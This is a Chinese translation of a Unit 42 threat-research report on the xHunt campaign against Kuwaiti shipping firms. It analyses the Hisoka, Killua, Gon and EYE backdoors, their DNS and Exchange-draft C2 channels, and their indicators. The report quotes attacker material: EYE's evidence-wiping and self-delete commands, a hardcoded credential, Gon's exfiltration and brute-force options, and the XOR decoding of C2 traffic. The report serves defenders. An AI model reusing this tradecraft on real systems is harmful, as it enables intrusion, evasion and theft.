导语:2019年5月至6月,unit42安全团队在一起针对科威特航运业的攻击事件中,检测到了一个新后门工具——Hisoka,它的作用是下载几个的定制工具进行后漏洞利用,所有工具似乎都由同一个开发人员创建,最早的一个工具其版本可以追溯到2018年7月。
概要
2019年5月至6月,unit42安全团队在一起针对科威特航运业的攻击事件中,检测到了一个新后门工具——Hisoka,它的作用是下载几个的定制工具进行后漏洞利用,所有工具似乎都由同一个开发人员创建,最早的一个工具其版本可以追溯到2018年7月。
工具的名称都借用了动漫《全职猎人》中的人物名字,这也是此次行动“xHunt”名称的来源,如后门工具Sakabota、Hisoka、Netero和Killua,它们通过HTTP、DNS隧道和电子邮件与C2通信。除了上述的后门工具外,还有名为Gon和EYE的工具,提供后门访问和进行后漏洞利用的能力。
通过比较分析,2018年7月至12月期间针对科威特的攻击事件可能也与此有关。
活动细述
2019年5月19日,科威特航运部门系统上出现了一个名为inetinfo.sys的恶意二进制文件。inetinfo.sys是Hisoka的后门变种,在代码中注明为版本0.8。威胁行为者是如何在系统上安装恶意文件的我们还不得而知。
Hisoka访问系统的两个小时内,又有两个工具——Gon和EYE部署到了系统上,其文件名分别是Gon.sys和EYE.exe。Gon的作用是远程系统上扫描开放端口、上传下载文件、截屏、网络上查找其他系统、远程运行命令,以及创建远程桌面协议(RDP)会话。Gon既可以用作命令行实用程序,也通过图形用户界面(GUI)调用,如图1所示:
图1. Gon的GUI
EYE工具则作为攻击者通过RDP登录到系统时的故障保险,如果合法用户登录,将杀死攻击者创建的所有进程并删除其他标识。更多关于Gon和EYE的详细信息请参考附录。
2019年6月18日至30日期间,科威特航运系统上又出现了Hisoka的0.9版本,其中包含文件netiso.sys。6月18日,该文件通过服务器消息块(SMB)协议从内部IT服务台帐户传输到另一个系统上,又以相同方式传输了名为otc.dll的文件。
otc.dll文件实际上是工具Killua,它也是一个简单的后门,能让攻击者使用DNS隧道通信,在受感染的系统上运行C2命令。基于字符串的比较,可以确信Killua和Hisoka由同一位开发人员创建。Killua是我们在2019年6月首次观察到的,可能是Hisoka的进化版,详情请参见附录。
通过电子邮件与C2通信
两个版本的Hisoka——v0.8和v0.9,均包含系统控制的命令集,都能通过HTTP或DNS隧道与C2通信,v0.9还增加了通过电子邮件与C2通信的功能。
v0.9中增加的这项功能基于Exchange Web Services (EWS),通过Exchange服务器上的合法帐户与Hisoka通信。一般来说,恶意软件登录到Exchange服务器后以发送接收电子邮件的方式建立通信,但v0.9则是创建邮件草稿来交换数据,这样不会检测到邮件的出入站行为。
要启用基于电子邮件的C2通道,攻击者需要在命令行上提供–E EWS <data>,后跟以下结构的数据:
<用户名>; <密码>; <Exchange服务器的域>; <Exchange版本(2010 | 2013)>
用户名和密码必须是Exchange服务器上的有效帐户。
Hisoka创建邮件草稿作为接收命令的通知,类似于C2中的信标。邮件草稿的主题为“ Present”,邮件主体为空,“ To”字段中的电子邮件地址具有受感染系统的唯一标识符,附加后缀“ @ contoso.com”。图2显示了Hisoka创建的邮件草稿,可通过Outlook Web App登录帐户查看。
图2. Hisoka v0.9中,邮件草稿用作信标
发出命令需要攻击者登录帐户,创建一个主题为“Project”的草稿,正文中包含了命令,为加密字符串形式,结构为字符串<body>,下一行跟着一个base64编码的密文。在C2中,这个邮件通道没有使用过的痕迹,所以应该是以HTML邮件的形式发送的,因为Hisoka会检查邮件<body>标签之后的三行——这是通过检查三个回车字符(\r)来实现,我们推测三个回车字符分别在:密文一行、</ body>标记结束的一行和</ html>结束的最后一行。
攻击者对每个字符异或操作来加密命令,并用值83(0x53)和base64对密文编码。图3显示了测试C2通道的邮件草稿,邮件通道发出命令C-get C:\\Windows\\Temp\\test.txt后,Histoka会将其解析为将文件上传到C:\Windows\Temp\test.txt的命令。
图3. Hisoka用于获取命令的邮件草稿
解析并运行命令后,Histoka创建另一封邮件草稿将结果发送回攻击者。草稿以“ Present”作为主题,系统唯一标识符和“ @ contoso.com”构造地址,消息正文是包含命令响应结果,加密方式跟上面所述相同。
Histoka将文件附加到邮件草稿中来上传文件。图4显示了Hisoka在收到文件上传命令后创建的邮件草稿,test.txt是测试的上传文件。
图4.Histoka v0.9,响应上传文件命令的邮件草稿
虽然基于电子邮件的C2通道不是第一次在威胁活动中看到,但是使用邮件草稿和Exchange的情况还是少见的。
工具集重合
在我们分析科威特组织中发生的恶意软件活动时,我们注意到Hisoka中的一些字符串跟之前的工具Sakabota存在一定相似性,该样本最早是在2018年7月左右发现的。对这两场活动分析后我们确认,Sakabota是Hisoka的前身。
Hisoka后门工具共享了Sakabota的大量代码,函数和变量名称的数量完全相同,表明由同一位开发人员创建。
图5. Sakabota和Histoka的比较
EYE和Gon与Sakabota也有大量代码重叠,例如EYE中的Self_Distruct方法与Sakabota的Self_Distruct方法近似,且都输出字符串“we be wait for you boss !!! ”,如图6所示;Gon和Sakabota中都嵌入了合法应用程序plink和dsquery,它们用于端口转发RDP会话并从活动目录收集信息;最后,字符串“Sakabota”也出现在EYE和Gon的调试路径中。
虽然2018年和2019年活动中使用的恶意软件存在重叠,但只是开发层面的一些关联,尚不清楚这两个活动是否由同一组人员操作的。
与2018年活动的关联
在确定Hisoka与Sakabota之间的关系后,我们搜索了Sakabota的样本,发现它们的C2域均为pasta58 [.] com。此域在2018年4月至11月对科威特组织的攻击事件中也出现过。
pasta58 [.] com相关域如下:
表1.与Sakabota域pasta58 [.] com相关的域
关联分析
Histoka、Sakabota的基础设施与OilRig一些活动中的也存在重叠,但这涉及到共享域解决方案,时间间隔大的话,攻击者可能也有变化,参见以下关联分析图:
图7.设备关联分析
结论
目前尚不清楚近两年这两波(2018年7月 – 12月、2019年5月 – 6月)针对科威特航运业的攻击事件是否都是同一组织所为,但可以确定的是Hisoka与Sakabota关系密切,甚至与OilRig威胁团伙也有所关联。
附录
Hisoka v0.8
2019年5月至6月,我们确定了七个Hisoka v0.8样本,都设置指向域microsofte-update[.]com,调试路径为:C:\\Users\\bob\\Desktop\\Hisoka\\Hisoka\\obj\\Debug\\inetinfo.sys.pdb。
SHA256:892d5e8e763073648dfebcfd4c89526989d909d6189826a974f17e2311de8bc4。
Hisoka是一种后门恶意软件,使用HTTP和DNS隧道与C2通信。地址硬编码在文件中,在解析C2域时DNS隧道会查找以下IP地址:
public static string Replay_Keyword = “245.10.10[.]11”; public static string Itrupt_Keyword = “244.10.10[.]10”; public static string Instruction_Keyword = “66.92.110[.]”;
上面第三个IP地址中的最后一个八位组用于Total_Package_Rows,它告诉Hisoka有多少IP地址。
从C2获取命令时恶意软件将构建一个结构为ID:<uniq_ID>->的字符串,并使用以下硬编码的用户代理通过HTTPS发送POST请求:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
然后确认字符串的第一个字符是否为“ C”,如是则将C2的响应视为命令。如与下列参数不匹配,则将剩余字符作为命令运行:
图8. Hisoka v0.8屏幕截图
Hisoka将使用DNS查询或HTTP请求将数据发送到C2服务器,具体取决于当前配置或命令行中设置的引擎:如果配置为使用HTTP,Histoka将通过HTTPS发出上述的POST请求,请求的标头“ Accept-Language”中包含唯一标识符,数据在POST数据中发送。
如果C2引擎类型为“ DNS”,使用nslookup应用程序和DNS查询来解析如下构造的域:
<唯一标识符> <已加密的base64编码数据(“ A”为24个字节,“ TXT”为64个字符).<C2位置>
在我们分析的样本中,子域中没有包含随机值,使得两个查询可能获取相同的子域,可由缓存解析。开发者似乎确实创建了一个变量来存储随机数。但是,他们忘记在实际的子域中包含这个值。
Hisoka v0.9
2019年6月,Hisoka v0.9出现,我们确定了四个样本,被配置为指向google-update [.] com或learning-service [.] com。
SHA256:a78bfa251a01bf6f93b4b52b2ef0679e7f4cc8ac770bcc4fef5bb229e2e888b。
此版本删除了一些功能,并创建了一个名为“ Netero”的新工具,新工具中包括已删除的功能。 Netero嵌入在Hisoka的msdtd资源中,在Hisoka需要使用该功能的情况下保存到系统中。将功能从Hisoka移出到另一个工具的过程表明,创作者为了逃避检测,在寻求一种更具模块化的体系结构。
另外Histoka v0.9还添加了基于电子邮件的C2通信功能。
通过如下结构的命令行(-E EWS <data>)提供设置:
<域\用户名>; <密码>; <Exchange服务器的域>; <Exchange版本(2010 | 2013)>
如果格式不对,则使用以下硬编码数据:
shadow\\boss;[email protected];cas;2013
并尝试访问以下URL:
HTTPS://cas/EWS/Exchange.asmx
然后Histoka登录Exchange Server,检查并处理电子邮件,将其用作入站通信。为了接收入站通信,EWS抓取“ Drafts”文件夹(WellKnownFolderName Enum中有三个)中名为“ Project”的电子邮件线程的内的消息。
对于出站通信,Histoka将创建一个主题为“Present”的电子邮件,正文中包含一条加密消息,并且如果C2发出“文件上传”命令,则文件将附加到电子邮件中。“收件人”字段如下:
<unique identifier>@contoso.com
Hisoka不发送电子邮件,而是将电子邮件保存在“Drafts”文件夹中。使用草稿意味着参与者可以登录到相同的用户帐户来验证电子邮件的存在,从而进一步拓展Hisoka的通信能力。
Hisoka v0.9样本被配置指向域learning-service [.] com,并包含以下参数:
图9. Hisoka v0.9屏幕截图
屏幕截图底部的用法详细信息表明,开发人员对一些部署的安全性机制有一定程度的了解。
EYE
EYE于2019年5月首次发现,此工具的目的是当合法用户登录系统时能掩盖其活动踪迹,从而避免检测。与Hisoka不同的是,Hisoka监视本地登录名和RDP会话,登录到注册表以供渗透,而EYE监视这些登录名,用以杀死进程,还删除参与者会话期间创建的注册表项和文件。
当运行EYE时,它会要求用户在“Log off mode”设置中输入“ y”(是)或“ n”(否)。
Choose -> Log off Mode ? : [y] [n]
无论用户输入什么,EYE都将开始监视本地启动或由远程RDP会话启动的入站登录。它将首先显示版本号“ v0.1”,然后是ASCII码组成的奇怪图形,之后向控制台写入消息,指示它开始监视入站登录尝试,然后是自执行EYE工具以来创建的进程列表。图12显示了我们测试中EYE工具的输出,其中显示了运行EYE后,直到发生本地登录之前创建的几个进程(calc,SnippingTool等)。
v0.1 ?? ? ? ??? ? ????? ? ????? ? ??? ? ????? ???? ? ?? ?????? ??? ???? ? ?????????? ???? ? ?????????????????????? ???????????????????? ?????????????????? ? ???????????????????????? ??? ????????????????????? ??? ?? ??? ?????????????????? ??? ?? ?? ?????????? ?? ?? ?? ??????????? ?? ?? ? ??? ???? ? ?? ?? ????? ????? ?? ??? ? ??? ??? ? ?? ? ? ???????? ?????? ? ??????? ???????? ????? ???????? ? ?????????? ????????? ???? ???? ???? ? ?????????? ??????????? ?????????? ??????? ???????????? ??????????? ??????????? ???????? ? ??????????? ??????????? ????????????????? ??????????? ???????????? ??????????? ????????? ???? ? ?????? ????????????? ??????????? ????????? ??? ??? ???? ?????????????? ????????? ????????? ??? ?? ?????? ? ??????????????? ??????? ????????????????? ???????? ? ? ?????????????????? ? ???????????????????????????? ? ??????????????????????????????????????? ?? ??? ????? ? ?????????????????????????????????????? ?????? ?? ?? ? ? ??????????????????????????????????? ??????????? ?? ? ? ????????????????????????????????????????????? ?? ? ? ???????? ?????????????????????? ???????? ?? ? ? ????? ???????? ????? ??? ?? ????? ?? ? ?? ?????? ???? ?? ??? ??? ?????????? ? ??????????? ? ? ?????????? ?? ????????????????????? ? ??????????????? ???????????????????????? ??? ?????????????? ???????????????????????????? ?????????????????????? ??????????????????????????????????????????????????? ????????????????????? ???????????????????????????? ???????????????? ????????????????? ?? Start Watching Without LOG_OFF Mode... iexplore<3408> iexplore<2088> cmd<2280> conhost<1056> calc<3664> SnippingTool<3024> wisptis<768> SoundRecorder<2996> control<1292> rundll32<2436> dllhost<3996> dllhost<1096> TSTheme<3900> cmd<1884> we be wait for you boss !!! TPAutoConnect<2912> conhost<2376> cmd<1200> conhost<2536> taskkill<3336>
当尝试进行本地或RDP登录时,EYE会向控制台写入字符串“we be wait for you boss !!!”,然后才开始清理痕迹,杀死自EYE启动以来创建的所有进程, 然后,EYE将通过运行以下命令删除使用跳转列表创建的所有最新文档和文件:
Del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\* & Del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\* & Del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\*
EYE还将删除在以下注册表项中找到的所有值以及用户文件夹中的“ Default.rdp”文件:
Software\\Microsoft\\Terminal Server Client\\Default SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\WordWheelQuery SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\TYPEDPATHS Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU
EYE删除自身:
taskkill /f /im <EYE’s executable filename> & choice /C Y /N /D Y /T 3 & Del “<path to EYE’s executable>”
EYE确实包含一些有趣的构件,比如从未使用或调用过的“ExecuteCommand”方法。此方法的存在表明,它要么是前一个版本的遗留代码,要么是此工具所基于的另一个代码基的构件。我们相信EYE是用Hisoka和Sakabota的代码创建的,因为方法名和变量名有明显的重叠,PDB调试路径中也有对Sakabota的引用:
Z:\TOOLS\Sakabota_Tools\Utility\Micosoft_Visual_Studio_2010_Experss\PRJT\Sync\Sakabota\EYE\EYE\obj\Release\EYE.pdb
Gon
Gon工具也于2019年5月首次观察到,包含了多种功能,它可能用于后漏洞利用阶段。
Gon具有扫描远程系统上开放端口、上传和下载文件、截屏、查找网络上的其他系统、使用WMI或PSEXEC在远程系统上运行命令,以及使用plink实用程序创建RDP会话的功能。Gon可以作为命令行实用程序使用,也可以使用GUI作为桌面应用程序。在GUI情况下, Gon可以使用嵌入其中的“dsquery”工具发出以下命令,从active directory获取计算机、用户和组名:
DS.exe computer -limit 0 > computer_DS.txt DS.exe user -limit 0 > Users_DS.txt DS.exe group -limit 0 > Group_DS.txt
当使用命令行时,可以很容易地看到Gon的“-help”命令下的使用:
___v0.2_ / _____/ ____ ____ / \ ___ / _ \ / \ \ \_\ ( <_> ) | \ \______ /\____/|___| / \/ \/ -Up[-l Path.txt] FOLDER_OR_FILE -C Host;User;Pass [-KWF](kill when Finish) [-DEL](delete when item upload) [+] is ftp upload 1_ex=-up my_folder_or_File -KWF -DEL -C server.com;admin;123 2_ex=-up-l my_Path.txt -C server.com;admin;123 -Screen[-up][-s count,seconds] -C Host;User;Pass [+] Print Screen -up is upload to ftp and delete the file. -s will repate and will upload -C Cerdential For Upload via FTP -Remote [-P] [Host;user;pass;Wdir] [Code] [+] wmic to host;user;-P is psexecmode ,pass and save it in Wdir\Thumb.dll -Download[-s] URL [+] http://www.URL , is -s Https will download in same directory -Scan[-v IP-To][-l Path.txt] [setp] [-A] [+] Result will be in P.txt,-A is advanced scan but slower, step is number to bruteforce MAX 230 -> ex = -Scan-v 192.168.?.? 8 -Bruter Path.txt username;pass{?} [+][-] [+] Result will be in N.txt , [+] Write netuse IP,[-] Write nont-netuse IP, Tip = Username & Password can be read from file -Rev[-clean][-loop] [V_ip] [port_to_Exit] [server;port] [+] RDP Revers on loop on every 10 min and with SYSTEM -Globe[-v p,o-r,t,s] [server] [+] Scan Global Port 123,443,80,81,23,21,22,20,110,25, v is Custom port -Done [+] self Distruct
用户输入密码“ 92”才能使用GUI,之后显示《全职猎人》的Gon和Killua角色的图像。
图10. Gon的图形用户界面
GUI包含与命令行选项相同的功能,但还包含启用“个人使用”的按钮。如果用户在GUI中80秒内没有光标(800毫秒的计时器间隔,检查100次),则该计时器将隐藏Gon GUI窗口。
使用扫描功能时,Gon会将结果写入<工作目录> \ wnix \ Scan_Result.txt中,其内容如下:
172.16.107[.]140[WIN-<redacted>] –> SMB **************Sakabota_v0.2.0.0*****2019-06-14|#|13:32**************
Gon和Sakabota / Hisoka之间也存在大量代码重叠,表明是同一位人员开发。
Killua
Killua很可能是由Hisoka的作者创建的。Killua的功能类似于Hisoka,但与Hisoka是用C#开发的,而它是用Visual C ++编写的。Killua样本直到2019年6月25日至30日才进行编译,似乎比已知的Hisoka样本要新。类似于Hisoka,Killua使用以下注册表项将其配置写入注册表:
HKCU\Control Panel\International\_ID: <unique identifier> HKCU\Control Panel\International\_EndPoint: “learn-service[.]com” HKCU\Control Panel\International\_Resolver_Server: ” “ HKCU\Control Panel\International\_Response: “180” HKCU\Control Panel\International\_Step: “3”
Killua使用DNS隧道与C2服务器通信,并且只能使用内置的“ nslookup”工具将DNS查询用于隧道,这与发送Hisoka的方法相同。Killua使用系统的唯一标识符作为子域的初始信标。在分析过程中,我们观察到惟一的标识符“EVcmmi”,base64将其解码为“Result goes here”。此操作将生成一个信标,查询以下域:
EVcmmi.learn-service[.]com
DNS服务器的响应为“66.92.110[.]4”,其中前三个八位组通知Killua开始发送其他查询,以便从C2 DNS服务器接收命令。它将在IPv4的查询答案中发送这些命令,第四个八位组用于确定需要发出多少DNS查询,以便从C2服务器接收全部数据。
“ 66.92.110 [.] 4”则说明Killua发出4个查询,在C2 DNS服务器提供的答案中接收4个IPv4地址。
由DNS服务器发出的四个DNS查询以唯一标识符“ EVcmmi”开头,然后是base64编码的数据,如下所示:
EVcmmiYg==.learn-service[.]com EVcmmiYA==.learn-service[.]com EVcmmiYQ==.learn-service[.]com EVcmmiZw==.learn-service[.]com
一开始我们认为包含等号“ =”的子域将无法解析,但后来我们了解到DNS服务器将响应具有包含非标准字符标签的域的查询。在对数据进行base64编码之前,Killua通过对每个字符与83(0x53)进行XOR加密,从而对明文进行了加密,结果如下:
“ Yg ==”为1 “ YA ==”为3 “ YQ ==”为2 “ Zw ==”为4
上面解密的数字是用于获取C2服务器请求的数据块的序列号,C2服务器使用以下IPv4地址响应了这些查询:
69.67.1[.]81 73.43.3[.]79 55.80.2[.]68 103.61.4[.]61
第三个八位组包含序列号,而其他八位组包含Killua将放入正确序列并作为数据处理的数据。 如果我们将IP地址按照第三个八位以正确的顺序排列,并将其他三个八位按字符处理,我们得到:
69.67.1[.]81 is “ECQ” 55.80.2[.]68 is “7PD” 73.43.3[.]79 is “I+O” 103.61.4[.]61 is “g==”
通过解码base64字符串并将每个字节与0x53进行XOR来解密,我们可以看到C2服务器发出命令“ C”,后接“ whoami”:
>>> out = “” >>> for c in base64.b64decode(“ECQ7PDI+Og==”): … out += chr(ord(c)^0x53) … >>> out ‘Cwhoami’
命令“ C”与Hisoka接收命令时使用的字符相同。如果紧接在“ C”之后的字符不是连字符(“-”),那么Killua将通过使用“ cmd / c”调用CreateProcessW,并将数据附加到该字符串后,以命令的形式执行数据;否则Killua将检查提供的命令,类似于以下命令:
–R -doer -S -status -change -id -resolver -help
“ -help”说明了用途:
+-+-+-+Killua-+-+-+-+ -change [HOST.com] ****** Change endPoint -doer ;[command] ****** Executer -status ****** info -resolver [8.8.8.8] ****** Resolver -R[num]s ****** Response -P[num] ****** packect -id [SIXLTR] ****** ID
表2. Sakabota和Histoka域的基础设施
本文翻译自:https://unit42.paloaltonetworks.com/xhunt-campaign-attacks-on-kuwait-shipping-and-transportation-organizations/如若转载,请注明原文地址: https://www.4hou.com/web/20548.html